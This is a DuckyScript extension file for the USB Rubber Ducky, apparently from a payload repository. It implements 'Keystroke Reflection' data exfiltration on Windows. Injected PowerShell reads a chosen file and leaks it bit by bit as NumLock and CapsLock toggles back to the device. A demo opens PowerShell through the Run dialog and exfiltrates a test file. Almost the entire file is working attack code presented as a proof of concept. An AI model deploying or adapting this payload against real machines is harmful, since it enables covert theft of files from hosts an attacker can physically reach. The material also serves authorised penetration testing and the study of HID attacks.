Path: blob/master/payloads/extensions/windows_hid_exfil.txt
2968 views
EXTENSION WINDOWS_HID_EXFIL1REM VERSION 1.12REM AUTHOR: Korben34REM_BLOCK DOCUMENTATION5Helpers for Keystroke Reflection data exfiltration6This payload is a proof of concept for USB HID only Data Exfiltration78TARGET:9Windows Host that supports powershell and SendKeys1011USAGE:12Prepare data to exfil (in filename defined by TARGET_FILE below)13with a powershell window already open - call RUN_WINDOWS_EXFIL()1415DEPLOYMENT:16Plug Ducky into host, wait for the LED to turn (and stay) solid green.17END_REM1819REM CONFIGURATION:20REM File on host machine to exfil21DEFINE #TARGET_FILE filename.txt2223DEFINE #SAVE_AND_RESTORE_LOCKS TRUE24DEFINE #ENABLE_EXFIL_LEDS TRUE25DEFINE #CLOSE_AFTER_EXFIL TRUE2627DEFINE #RUN_SIMPLE_USAGE_DEMO FALSE2829FUNCTION RUN_WINDOWS_EXFIL()30IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS31SAVE_HOST_KEYBOARD_LOCK_STATE32END_IF_DEFINED3334IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS35LED_OFF36$_EXFIL_LEDS_ENABLED = TRUE37END_IF_DEFINED3839$_EXFIL_MODE_ENABLED = TRUE40STRING_POWERSHELL41foreach($b in $(Get-Content "#TARGET_FILE" -Encoding byte)){42foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){43If($b -band $a){44$o+="%{NUMLOCK}"45}Else{46$o+="%{CAPSLOCK}"47}48}49};50$o+="%{SCROLLLOCK}";51Add-Type -Assembly System.Windows.Forms;52[System.Windows.Forms.SendKeys]::SendWait("$o");53END_STRING54IF_DEFINED_TRUE #CLOSE_AFTER_EXFIL55STRING exit;56END_IF_DEFINED5758ENTER5960REM Listen for EOF61WAIT_FOR_SCROLL_CHANGE62$_EXFIL_MODE_ENABLED = FALSE6364IF_DEFINED_TRUE #ENABLE_EXFIL_LEDS65LED_G66END_IF_DEFINED6768IF_DEFINED_TRUE #SAVE_AND_RESTORE_LOCKS69RESTORE_HOST_KEYBOARD_LOCK_STATE70END_IF_DEFINED71END_FUNCTION7273IF_DEFINED_TRUE #RUN_SIMPLE_USAGE_DEMO74REM DO NOT MODIFY THIS DEMO - copy and move outside extension if using as template.75REM DEMO Boot Delay76DELAY 300077REM Open run dialog78GUI r79DELAY 50080REM Open Powershell81STRINGLN powershell82DELAY 50083REM Prepare some data in TARGET_FILE84STRINGLN echo test123 > #TARGET_FILE85DELAY 50086REM Exfil data to USB Rubber Ducky using Keystroke Reflection87RUN_WINDOWS_EXFIL()88END_IF_DEFINED89END_EXTENSION909192